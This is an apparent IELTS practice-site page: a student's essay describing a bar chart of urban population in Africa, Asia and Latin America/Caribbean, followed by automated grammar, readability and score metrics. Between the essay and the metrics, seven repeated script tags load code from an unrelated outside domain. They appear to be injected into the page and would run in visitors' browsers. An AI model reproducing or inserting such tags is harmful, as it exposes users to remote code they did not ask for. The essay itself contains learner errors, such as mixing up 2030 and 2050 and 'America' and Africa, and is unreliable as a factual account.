The chart gives information about the growth of urban population in each part of the other country. Summarizes the information by selecting and reporting the main features, and makes comparisons where relevant.
The bar chart illustrates the percentage of the population living in urban areas in Africa, Asia and Latin America/ Caribbean in the years of 1950, 2000 and the future projection to 2050. Overall, the percentage of people living in urban cities in all three increased in all three countries. However, Latin American/ Caribbean is significantly increased among three countries, while America lowest until 2000.
Look at the bar chart in the first year of 1950. It can be seen that the percentage of people living in urban areas in Latin America/ Caribbean was highest among the three countries at about 41%. Meanwhile, the growth of urban population in Africa and Asia remained lowest below 35% including about 21% and 30%. However, after 50 years later in 2000, the growth of urban population in Africa and Asia changed and was stable from 21% to 31% ( meaning higher than in the first year 10% in Africa). The growth of urban population in Asia higher than Africa 2% is 33%. In contrast, the percentage of people living in urban areas in Latin America/ Caribbean was still highest among the three countries, about 51%.
Look at the bar chart in the future projections of 2030. The percentage of people living in cities is more and more higher and especially in Africa and Asia significantly increased. First, the percentage of urban population in Latin America/ Caribbean from 51% to 61%. The growth of urban population in America and Asia has a small similarity about 43% and 41%. The growth of urban population is higher than in capital city and development in other countries in the future.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2025-06-05 | Trần Ánh Vy | 67 | view |
- Many people believed that good planning is the key factor to success in the life while other believed that good factors like hard work or luck are important Discuss both views and give your opinion 73
- Some students to take a gap year after graduating high school to work and or travel The advantages and disadvantages of this 78
- Many people use written language in a less formal way and in a relaxed way than in the past Why is that so Does the development have more advantages 73
- The charts below show the comparison of time spent in minutes per day by UK s males and females on household and leisure activities in 2008 73
- The graph below shows the average house prices in three countries between the year 1997 2014 Summarise the information by selecting and reporting the main features and make comparisons where relevant 39
Grammar and spelling errors:
Line 2, column 440, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...a changed and was stable from 21% to 31% meaning higher than in the first year 10...
^^
Transition Words or Phrases used:
first, however, if, look, still, while, in contrast
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 8.0 7.0 114% => OK
Auxiliary verbs: 1.0 1.00243902439 100% => OK
Conjunction : 12.0 6.8 176% => OK
Relative clauses : 1.0 3.15609756098 32% => OK
Pronoun: 2.0 5.60731707317 36% => OK
Preposition: 58.0 33.7804878049 172% => OK
Nominalization: 9.0 3.97073170732 227% => Less nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1325.0 965.302439024 137% => OK
No of words: 271.0 196.424390244 138% => Less content wanted.
Chars per words: 4.88929889299 4.92477711251 99% => OK
Fourth root words length: 4.05734859645 3.73543355544 109% => OK
Word Length SD: 2.59663258528 2.65546596893 98% => OK
Unique words: 102.0 106.607317073 96% => OK
Unique words percentage: 0.376383763838 0.547539520022 69% => More unique words wanted or less content wanted.
syllable_count: 405.0 283.868780488 143% => OK
avg_syllables_per_word: 1.5 1.45097560976 103% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 1.0 1.53170731707 65% => OK
Article: 10.0 4.33902439024 230% => Less articles wanted as sentence beginning.
Subordination: 2.0 1.07073170732 187% => OK
Conjunction: 0.0 0.482926829268 0% => OK
Preposition: 3.0 3.36585365854 89% => OK
Performance on sentences:
How many sentences: 14.0 8.94146341463 157% => OK
Sentence length: 19.0 22.4926829268 84% => The Avg. Sentence Length is relatively short.
Sentence length SD: 40.5332441035 43.030603864 94% => OK
Chars per sentence: 94.6428571429 112.824112599 84% => OK
Words per sentence: 19.3571428571 22.9334400587 84% => OK
Discourse Markers: 3.64285714286 5.23603664747 70% => OK
Paragraphs: 3.0 3.83414634146 78% => More paragraphs wanted.
Language errors: 1.0 1.69756097561 59% => OK
Sentences with positive sentiment : 6.0 3.70975609756 162% => OK
Sentences with negative sentiment : 1.0 1.13902439024 88% => OK
Sentences with neutral sentiment: 7.0 4.09268292683 171% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.151990344178 0.215688989381 70% => OK
Sentence topic coherence: 0.0756668515304 0.103423049105 73% => OK
Sentence topic coherence SD: 0.0547571647707 0.0843802449381 65% => OK
Paragraph topic coherence: 0.122910177844 0.15604864568 79% => OK
Paragraph topic coherence SD: 0.0509822124018 0.0819641961636 62% => OK
Essay readability:
automated_readability_index: 11.3 13.2329268293 85% => Automated_readability_index is low.
flesch_reading_ease: 60.65 61.2550243902 99% => OK
smog_index: 8.8 6.51609756098 135% => OK
flesch_kincaid_grade: 9.5 10.3012195122 92% => OK
coleman_liau_index: 11.08 11.4140731707 97% => OK
dale_chall_readability_score: 6.85 8.06136585366 85% => OK
difficult_words: 39.0 40.7170731707 96% => OK
linsear_write_formula: 11.5 11.4329268293 101% => OK
gunning_fog: 9.6 10.9970731707 87% => OK
text_standard: 12.0 11.0658536585 108% => OK
What are above readability scores?
---------------------
Rates: 67.4157303371 out of 100
Scores by essay e-grader: 6.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.